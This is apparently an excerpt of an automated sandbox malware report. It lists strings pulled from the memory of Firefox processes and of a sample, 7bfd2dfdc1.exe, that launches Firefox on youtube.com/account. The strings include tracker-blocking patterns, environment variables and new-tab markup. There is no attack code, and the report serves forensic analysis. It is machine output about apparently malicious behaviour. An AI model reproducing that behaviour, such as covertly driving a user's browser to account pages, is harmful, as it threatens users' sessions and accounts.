Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "*://*.adsafeprotected.com/*/adj*""*://*.adsafeprotected.com/*/Serving/*"reject_trackers_and_partition_foreign"*://s.webtrends.com/js/advancedLinkTracking.js""*://ads.stickyadstv.com/user-matching*""https://ads.stickyadstv.com/firefox-etp""*://*.adsafeprotected.com/tpl?*""*://*.adsafeprotected.com/jsvid?*"MAX_SUSTAINED_WRITE_OPERATIONS_PER_MINUTE"*://securepubads.g.doubleclick.net/gampad/*ad*""*://pubads.g.doubleclick.net/gampad/*ad*""*://ads.stickyadstv.com/user-matching*""*://*.adsafeprotected.com/*.js*""*://*.adsafeprotected.com/*/imp/*""*://*.adsafeprotected.com/jload""*://*.adsafeprotected.com/jload?*""*://*.adsafeprotected.com/jsvid?*""*://pubads.g.doubleclick.net/gampad/*ad-blk*""*://*.adsafeprotected.com/*.png*""*://vast.adsafeprotected.com/vast*""*://*.adsafeprotected.com/*/Serving/*""*://pixel.advertising.com/firefox-etp""*://*.adsafeprotected.com/*/unit/*""*://*.adsafeprotected.com/jsvid""*://www.facebook.com/platform/impression.php*""*://ads.stickyadstv.com/auto-user-sync*""https://ads.stickyadstv.com/firefox-etp""*://*.adsafeprotected.com/*.gif*""*://*.adsafeprotected.com/*/adj*" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js""*://www.facebook.com/platform/impression.php*""*://*.adsafeprotected.com/services/pub*""*://*.adsafeprotected.com/*.gif*""*://pixel.advertising.com/firefox-etp""*://securepubads.g.doubleclick.net/gampad/*ad*""*://*.adsafeprotected.com/*.png*""*://*.adsafeprotected.com/jload?*""*://*.adsafeprotected.com/jsvid""*://track.adform.net/Serving/TrackPoint/*"Please use $(ref:runtime.onRestartRequired)."*://s.webtrends.com/js/webtrends.js""*://pubads.g.doubleclick.net/gampad/*ad*"default_public_and_private_interfaces"*://ads.stickyadstv.com/auto-user-sync*""*://*.adsafeprotected.com/*.js*""*://s.webtrends.com/js/webtrends.min.js""*://*.adsafeprotected.com/*/imp/*""*://*.adsafeprotected.com/*/unit/*""*://track.adform.net/Serving/TrackPoint/*""*://pubads.g.doubleclick.net/gampad/*ad-blk*""*://vast.adsafeprotected.com/vast*""*://*.adsafeprotected.com/jload" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "*://pixel.advertising.com/firefox-etp""*://pubads.g.doubleclick.net/gampad/*ad*""*://*.adsafeprotected.com/*/imp/*""*://trends.google.com/trends/embed*""https://ads.stickyadstv.com/firefox-etp""*://*.adsafeprotected.com/services/pub*"browser-shutdown-tabstate-updated"*://*.adsafeprotected.com/*.png*""*://ads.stickyadstv.com/auto-user-sync*""*://*.adsafeprotected.com/tpl?*""*://pubads.g.doubleclick.net/gampad/*ad-blk*""*://*.adsafeprotected.com/*/unit/*""*://*.adsafeprotected.com/jsvid?*""*://*.adsafeprotected.com/jload?*""*://*.adsafeprotected.com/tpl?*""*://*.adsafeprotected.com/*.gif*""*://trends.google.com/trends/embed*"["*://trends.google.com/trends/embed*"]"*://*.adsafeprotected.com/jload"resource://gre/modules/PlacesUtils.sys.mjs["*://trends.google.com/trends/embed*"]"*://ads.stickyadstv.com/user-matching*""*://*.adsafeprotected.com/*.js*""*://securepubads.g.doubleclick.net/gampad/*ad*""*://*.adsafeprotected.com/services/pub*""*://*.adsafeprotected.com/*/adj*""*://vast.adsafeprotected.com/vast*""*://*.adsafeprotected.com/jsvid""*://cdn.cmp.advertising.com/firefox-etp""*://track.adform.net/Serving/TrackPoint/*""*://www.facebook.com/platform/impression.php*""*://*.adsafeprotected.com/*/Serving/*"resource://gre/modules/UpdateUtils.sys.mjsmain/translations-identification-modelschrome://browser/content/browser.xhtmlDEFAULT_THEME_RESPECTS_SYSTEM_COLOR_SCHEMEmain/anti-tracking-url-decorationresource:///modules/ThemeVariableMap.sys.mjsresource:///modules/AttributionCode.sys.mjsbrowser.theme.unified-color-scheme--toolbar-field-focus-background-colorresource://gre/modules/ExtensionParent.sys.mjsmain/search-default-override-allowlist60e82333-914d-4cfa-95b1-5f034b5a704bservices.sync.clients.devices.mobile_setInactiveAsync/this._inactiveTimeout<resource://nimbus/ExperimentAPI.sys.mjsID of a MenuItem cannot be changedCould not find any MenuItem with id: this.menusInternal</onClicked/listener/<Child MenuItem already has a parent.:scope > #context-sep-navigation + *getProfileDataAsGzippedArrayBuffermain/anti-tracking-url-decorationresource://normandy/lib/NormandyUtils.sys.mjsmain/devtools-compatibility-browsersresource://gre/modules/AddonManager.sys.mjsresource:///modules/ShellService.sys.mjsresource://gre/modules/TelemetryArchive.sys.mjsservices.sync.clients.devices.desktopChild MenuItem not found, it cannot be removed.BROWSER_THEME_UNIFIED_COLOR_SCHEMEmain/websites-with-shared-credential-backendsresource://gre/modules/AsyncShutdown.sys.mjs--newtab-background-color-secondary_determineToolbarAndContentTheme/contentTheme<--toolbarbutton-active-background--lwt-selected-tab-background-colorchrome://browser/content/browser.xhtmlchrome://browser/content/browser.jschrome://browser/content/browser.xhtml--lwt-toolbar-field-highlight-textlwt-toolbar-field-focus-brighttext--autocomplete-popup-highlight-backgroundresource://nimbus/lib/ExperimentStore.sys.mjs--autocomplete-popup-highlight-colorchrome://browser/content/browser.xhtml_determineToolbarAndContentTheme/too
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "*://www.facebook.com/platform/impression.php*" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2679284920.00000212DED20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account0c equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B459A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: +www.youtube.com$c equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B459A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: +www.youtube.com` equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B459A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: +www.youtube.comt equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B459A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: +www.youtube.com| equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -*- UpdateBrowserIDHelper: browsing-context-discardedhttps://www.youtube.com/accountgetCurrentInnerWindowWithIdinternal:privateBrowsingAllowed equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Wikipedia&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Reddit&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Twitter&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2741299841.0000025B37D20000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -os-restarted https://www.youtube.com/accountH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000003.2673067688.000001E076300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2672965218.000001E0762ED000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2674017337.000001E076302000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /v8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2803080213.0000025B50E39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2786679292.0000025B49951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2780213062.0000025B4954D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2777080126.0000025B4922C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B489D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B4898E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2803080213.0000025B50E39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsATH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2740032193.000000BC2C6BC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: ?www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2740032193.000000BC2C6BC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: ?www.youtube.com:443: equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2740519410.000000BC2CDFA000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: ?www.youtube.coms.mozilla.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC0D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2811900560.0000025DAED84000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2679284920.00000212DED20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\Desktop\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2679284920.00000212DED20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741105723.0000025B37BB0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountM equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4ACED000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: 7bfd2dfdc1.exe, 00000019.00000002.3450037766.0000000006AB6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/a equals www.youtube.com (Youtube)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3449153827.0000000006494000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B45A23000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: REPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PRP\ equals www.youtube.com (Youtube)
